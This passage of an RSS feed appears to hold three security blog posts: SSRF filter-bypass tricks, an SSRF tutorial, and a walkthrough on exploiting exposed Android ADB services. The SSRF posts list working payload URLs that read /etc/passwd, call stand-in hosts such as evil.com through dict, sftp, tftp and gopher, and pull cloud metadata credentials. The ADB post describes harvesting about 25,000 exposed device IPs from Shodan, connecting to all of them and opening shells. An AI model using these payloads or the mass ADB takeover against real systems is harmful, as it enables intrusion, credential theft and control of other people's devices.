)</p><pre>http://0177.0.0.1/ = http://127.0.0.1<br>http://2130706433/ = http://127.0.0.1<br>http://3232235521/ = http://192.168.0.1<br>http://3232235777/ = http://192.168.1.1</pre><p><strong>Converting IP to <em>Octal -</em></strong></p><p>example — converting <a href="http://192.168.0.1/">http:<strong>//192.168.0.1</strong></a> to doted <a href="http://192.168.0.1/">octal <strong>http://0300.0250.0000.0001</strong></a> and dot less <a href="http://192.168.0.1/"><strong>http://030052000001</strong></a></p><p>Refer - #<a href="https://hackerone.com/reports/288250">288250</a></p><p><strong>Using</strong> <strong>wildcard DNS -</strong></p><p>There are many sites online provide wildcard DNS, some of them are</p><ul><li><a href="http://xip.io/">xip.io: wildcard DNS for everyone</a></li><li><a href="http://nip.io/">NIP.IO - wildcard DNS for any IP Address</a></li><li><a href="https://ip6.name/">ip6.name</a></li><li><a href="https://sslip.io/">Welcome to sslip.io</a></li></ul><p>U can simply use them to point it to a specific IP</p><pre><strong>          10.0.0.1</strong>.xip.io   resolves to   10.0.0.1<br>      www.<strong>10.0.0.1</strong>.xip.io   resolves to   10.0.0.1<br>   mysite.<strong>10.0.0.1</strong>.xip.io   resolves to   10.0.0.1<br>  foo.bar.<strong>10.0.0.1</strong>.xip.io   resolves to   10.0.0.1<br>ssrf-cloud.localdomain.pw   resolves to   169.254.169.254<br>       metadata.nicob.net   resolves to   169.254.169.254</pre><p>Or you can use your own domain to do this</p><p>Make a subdomain and point to 192.168.0.1 with DNS A record</p><p>Refer:- <a href="https://hackerone.com/reports/288193">#288193</a> , <a href="https://hackerone.com/reports/288183">#288183</a></p><p><strong>Using enclosed alphanumerics -</strong></p><pre>http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com<br><br>List:<br>① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿</pre><p>./End of Part -2</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a085ec4332c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1]]></title>
            <link>https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978?source=rss-e370f5fd38b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/29d034c27978</guid>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[local-file-inclusion]]></category>
            <category><![CDATA[server-side-request-for]]></category>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[SaN ThosH]]></dc:creator>
            <pubDate>Thu, 10 Jan 2019 15:58:29 GMT</pubDate>
            <atom:updated>2019-03-09T06:34:19.975Z</atom:updated>
            <content:encoded><![CDATA[<p>(Please ignore mistakes if any!)</p><p>First things first</p><p><strong>What is SSRF?</strong></p><p>Server Side Request Forgery (<strong>SSRF</strong>) refers to an attack where in an attacker is able to send a crafted request from a vulnerable web application.</p><p><strong>In a simple way - </strong>Attacker asks the server to fetch a URL for him</p><p>For example -</p><pre>GET /?url=http://google.com/ HTTP/1.1<br>Host: example.com</pre><p>Here example.com fetch<em> http://google.com </em>from its server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*lxoV91ij1jd7FTXKiIb5kQ.png" /></figure><blockquote><strong><em>Table of Contents</em></strong></blockquote><pre>1. Types of SSRF<br>2. Test Cases<br>3. Bypass Whitelisting and Blacklisting<br>4. Live Example</pre><ol><li><strong>Types of SSRF -</strong></li></ol><p>i. The one which displays response to attacker ( Basic )</p><p>ii. The one which does not display response ( Blind )</p><p>i.<strong> Basic </strong>-</p><p>As mentioned It displays response to attacker, so after the server fetches the URL asked by attacker for him, it will send the response back to attacker</p><p>DEMO (using Ruby)<br>INSTALL the following package and run the code</p><blockquote>gem install sinatra</blockquote><pre>require &#39;sinatra&#39;<br>require &#39;open-uri&#39;<br><br>get &#39;/&#39; do<br>  format &#39;RESPONSE: %s&#39;, open(params[:url]).read<br>end</pre><p>The above code runs a server on port 4567 ( <a href="https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF">Took from Jobert</a>’s Post )</p><p>So this just opens the file for us<br>: <a href="http://localhost:4567/?url=contacts">http://localhost:4567/?url=contacts</a> will open contact file and display response to frontend<br>: <a href="http://localhost:4567/?url=/etc/passwd">http://localhost:4567/?url=/etc/passwd</a> will open etc/passwd and response to serve<br>: <a href="http://localhost:4567/?url=https://google.com">http://localhost:4567/?url=https://google.com</a> will request google.com on server and show response</p><p><strong>What can we do with SSRF? -</strong></p><ul><li>SSRF to Reflected XSS</li><li>Try URL schemas to read internal and make server perform actions (file:///, dict://, ftp://, gopher://..)</li><li>We can scan for internal networks and ports</li><li>If it runs on Cloud Instances try to fetch META-DATA</li></ul><blockquote><strong>SSRF to Reflected XSS -</strong></blockquote><p>Simply fetch a file from external sites which has malicious payload with content type served as html</p><p>Example - <a href="http://localhost:4567/?url=http://brutelogic.com.br/poc.svg">http://localhost:4567/?url=http://brutelogic.com.br/poc.svg</a></p><blockquote><strong>Testing URL schemas -</strong></blockquote><p>First thing to do when we find an SSRF is to test all the wrapper which are working</p><pre>file:///<br>dict://<br>sftp://<br>ldap://<br>tftp://<br>gopher://</pre><p><em>file:// -</em></p><p><strong>File</strong> is used to fetch file from the file system</p><pre>http://example.com/ssrf.php?url=file:///etc/passwd<br>http://example.com/ssrf.php?url=file:///C:/Windows/win.ini</pre><p>If the server block http request to external sites or whitelist you could simply use below URL schemas to make a request</p><p><em>dict:// -</em></p><p><strong>DICT</strong> URL scheme is used to refer to definitions or word lists available using the DICT protocol:</p><pre>http://example.com/ssrf.php?dict://evil.com:1337/<br><br>evil.com:$ nc -lvp 1337<br>Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)<br>CLIENT libcurl 7.40.0</pre><p><em>sftp:// -</em></p><p><strong>Sftp</strong> stands for SSH File Transfer Protocol, or Secure File Transfer Protocol, is a separate protocol packaged with SSH that works in a similar way over a secure connection.</p><pre>http://example.com/ssrf.php?url=sftp://evil.com:1337/<br><br>evil.com:$ nc -lvp 1337<br>Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)<br>SSH-2.0-libssh2_1.4.2</pre><p><em>ldap:// or ldaps:// or ldapi:// -</em></p><p><strong>LDAP</strong> stands for Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.</p><pre>http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit<br>http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit<br>http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit</pre><p><em>tftp:// </em>-</p><p><strong>Trivial</strong> <strong>File Transfer</strong> Protocol is a simple lockstep File Transfer Protocol which allows a client to get a file from or put a file onto a remote host</p><pre>http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET<br><br>evil.com:# nc -lvup 1337<br>Listening on [0.0.0.0] (family 0, port 1337)<br>TESTUDPPACKEToctettsize0blksize512timeout3</pre><p><em>gopher:// -</em></p><p><strong>Gopher</strong>, is a distributed document delivery service. It allows users to explore, search and retrieve information residing on different locations in a seamless fashion.</p><pre>http://example.com/ssrf.php?url=http://attacker.com/gopher.php</pre><pre>gopher.php (host it on acttacker.com):-<br>&lt;?php<br>   header(&#39;Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest&#39;);<br>?&gt;<br><br>evil.com:# nc -lvp 1337<br>Listening on [0.0.0.0] (family 0, port 1337)<br>Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)<br>Hi<br>ssrf<br>test</pre><p><em>For more Refer </em><a href="https://ftp.isc.org/lynx/lynx-2.8.1/lynx2-8-1/lynx_help/lynx_url_support.html"><em>here</em></a></p><blockquote><strong>Scan for internal networks and ports -</strong></blockquote><p>What if they are running some servers in their LAN (Kibana, Elastic Search,MongoDB.. )</p><p>Which we can not access from internet directly as firewall blocks them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*59AFM8PhVA9iMLzxdGr0tg.png" /></figure><p>We use SSRF to access them.</p><p>Attacker runs a internal IP and PORT scan and understands more about the target and use it for further exploitation</p><p>This can some times lead to Remote Code Execution</p><p>Example - Found an internal host running an outdated software which has publicly know RCE, we can use it here to perform code execution and same applies for other vulnerabilities</p><blockquote><strong>Cloud Instances -</strong></blockquote><p><em>Amazon:</em></p><p>If you find an SSRF in Amazon Could, <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories">Amazon</a> expose an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :</p><pre>http://169.254.169.254/latest/meta-data/<br>http://169.254.169.254/latest/user-data/<br>http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE<br>http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance</pre><p>This will give our juicy information like Aws keys, ssh keys and more</p><p>Refer these for POC- <a href="https://hackerone.com/reports/285380">#285380,</a> <a href="https://hackerone.com/reports/53088">#53088</a></p><p>For example:-</p><ul><li><a href="http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJECTION%20PAYLOAD]">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[<strong>INJECTION PAYLOAD</strong>]</a></li><li><a href="http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/">http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/</a></li></ul><p><em>Google Cloud -</em></p><p>Same for google</p><pre>http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token<br>http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json</pre><p>Further exploiting this can lead to instances takeover</p><p>Refer - <a href="https://hackerone.com/reports/341876">#341876</a></p><p><em>Digital Ocean -</em></p><p>Overview about <a href="https://developers.digitalocean.com/documentation/metadata/">Meta-data</a></p><pre>http://169.254.169.254/metadata/v1.json</pre><p>And for other Cloud Instances you can refer <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection#ssrf-url-for-aws-bucket">Here</a></p><p>./End of part 1</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29d034c27978" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Android Devices Running Insecure Remote ADB Service]]></title>
            <link>https://medium.com/@madrobot/exploiting-android-devices-running-insecure-remote-adb-service-4490cc6a2282?source=rss-e370f5fd38b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/4490cc6a2282</guid>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[adb]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[SaN ThosH]]></dc:creator>
            <pubDate>Sat, 25 Aug 2018 16:55:18 GMT</pubDate>
            <atom:updated>2021-08-30T05:08:50.672Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>What is ADB?</strong><br>Android Debug Bridge (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that you can use to run a variety of commands on a device</p><p>Usually, developers connect to ADB service installed on Android devices using a USB cable, but it is also possible to use ADB wireless by enabling a daemon server at TCP port 5555 on the device.</p><p>Checking on <a href="https://shodan.io/">SHODAN</a> using dork</p><pre>android debug bridge product:”Android Debug Bridge”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UDegayuxgGO5BvreqRnK-w.png" /></figure><p>Lets grab all the IP’s from shodan api</p><p>Made a one-liner bash script to do that for me</p><p>Add you api in the script before executing</p><p>bash shodan_adb.sh</p><p>You can get that <a href="https://raw.githubusercontent.com/Mad-robot/exploiting-adb/master/shodan_adb.sh">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uE1SuFUsQjC2pScDf6V4Dw.png" /></figure><p>Got the json response of SHODAN search (total of 305 pages)</p><p>One-liner to grep all ips from them and make a single file</p><p>bash grep_ip.sh &gt; ip.txt</p><p>You can get that <a href="https://raw.githubusercontent.com/Mad-robot/exploiting-adb/master/grep_ip.sh">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hqDLBI9m5k_rRLmJAOelOg.png" /></figure><p>Got around 25k <br>Link to the list is <a href="https://raw.githubusercontent.com/Mad-robot/exploiting-adb/master/ip.txt">here</a></p><p>Next we need to add them to adb using adb connect ip:port</p><p>One-liner to add all the IP’s from ip.txt to adb</p><p>bash adb_connect.sh</p><p>You can get that <a href="https://raw.githubusercontent.com/Mad-robot/exploiting-adb/master/add_adb.sh">here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*og0l56otNCK71Wk-OFKKlQ.png" /></figure><p>Accessing them <br>To list all the connected adb use adb devices</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LKphiaScsVb9-nTlR_Mdkg.png" /></figure><p>Use the script adb.sh to list them in order to access them like it it <a href="https://raw.githubusercontent.com/Mad-robot/exploiting-adb/master/adb.sh">here</a></p><pre>adb $(./adb.sh) shell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7jZBFHllX_7W9ZOxcLnlw.png" /></figure><p>Done</p><p>./logout</p><figure><a href="https://usejournal.com/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=guest_post_image"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f2IVAl0TbsfES9cFGYr40g.png" /></a></figure><p>📝 Read this story later in <a href="https://usejournal.com/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=guest_post_read_later_text">Journal</a>.</p><p>🗞 Wake up every Sunday morning to the week’s most noteworthy Tech stories, opinions, and news waiting in your inbox: <a href="https://usejournal.com/newsletter/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=guest_post_text">Get the noteworthy newsletter &gt;</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4490cc6a2282" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>